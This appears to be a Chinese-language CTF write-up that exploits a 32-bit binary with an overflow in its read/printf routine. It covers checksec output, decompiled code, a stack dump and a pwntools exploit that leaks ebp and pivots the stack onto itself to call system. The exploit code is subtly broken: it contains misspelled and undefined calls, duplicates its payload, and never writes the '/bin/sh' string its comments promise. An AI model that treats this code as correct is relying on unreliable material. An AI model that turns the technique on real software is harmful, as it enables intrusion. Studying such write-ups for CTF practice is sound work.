checksec查看防護:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
IDA靜態分析:

int __cdecl main(int argc, const char **argv, const char **envp) { init(); puts("Welcome, my friend. What's your name?"); vul(); return 0; }
主函數沒有什么信息,接着查看vul()函數
int vul() { char s; // [esp+0h] [ebp-28h] memset(&s, 0, 0x20u); read(0, &s, 0x30u); printf("Hello, %s\n", &s); read(0, &s, 0x30u); return printf("Hello, %s\n", &s); }
可以實現棧溢出,但是溢出長度不夠,能夠覆蓋到rbp,但是沒有現成的后門函數。
這題的解題方法為棧遷移,但是這題不同於一般棧遷移的地方在不將棧遷移到bss或者是data段,而是將棧遷移到棧上。通過第一次print獲取到字符串s在棧上的地址,第二次寫入fake棧並進行棧遷移。
首先查看下溢出的長度為0x24+0x04,想要知道s的地址還需要知道ebp到s的距離為0xffffc1f8-0xffffc1c0 = 0x38,我們通過第一次print將ebp的地址泄露再算出s的地址。
00:0000│ ecx esp 0xffffc1c0 ◂— 'aaaa\n' 01:0004│ 0xffffc1c4 ◂— 0xa /* '\n' */ 02:0008│ 0xffffc1c8 ◂— 0x0 ... ↓ 08:0020│ 0xffffc1e0 —▸ 0x80486d8 ◂— push edi /* "Welcome, my friend. What's your name?" */ 09:0024│ 0xffffc1e4 —▸ 0xffffc2a4 —▸ 0xffffc3c7 ◂— 0x6d6f682f ('/hom') 0a:0028│ ebp 0xffffc1e8 —▸ 0xffffc1f8 ◂— 0x0
exp寫的很細:
#coding:utf-8 from pwn import * io = process("./program") context(arch = 'i386',os='linux',log_level='debug') system_addr = 0x8048400 leave_ret = 0x08048562 payload = 'a'*27 +'b' #這里的payload需要把ebp前面的空間填滿,避免下面的print遇到\x00截斷,然后順利得到ebp的地址。 io.recvuntil("name?") io.send(payload) io.recvultil("aaab") #在·····aaaaaab之后就是ebp的地址了 s_addr = u32(a.recv(4)) - 0x38 print(hex(s_addr)) payload2 = 'aaaa' #給棧遷移后ebp留出來的空間 payload2 += p32(system_addr) #這里是放入fake棧后的system_plt函數的地址,待會就是要執行這個函數了 payload2 += ‘dead’ payload2 += p32(s_addr + 0x10) #這個位置應該是system的參數,但是程序中並沒有現成的,所以只能把'/bin/sh\x00'寫到后面,然后這里填s的地址加上16的偏移就是參數了,接下來就是把s填充滿0x28,再后面的內容就是實現棧遷移了。 payload2 += payload2.ljust(0x28,'c') payload2 += p32(s_addr) + p32(leave_ret) io.send(payload2) io.interactive()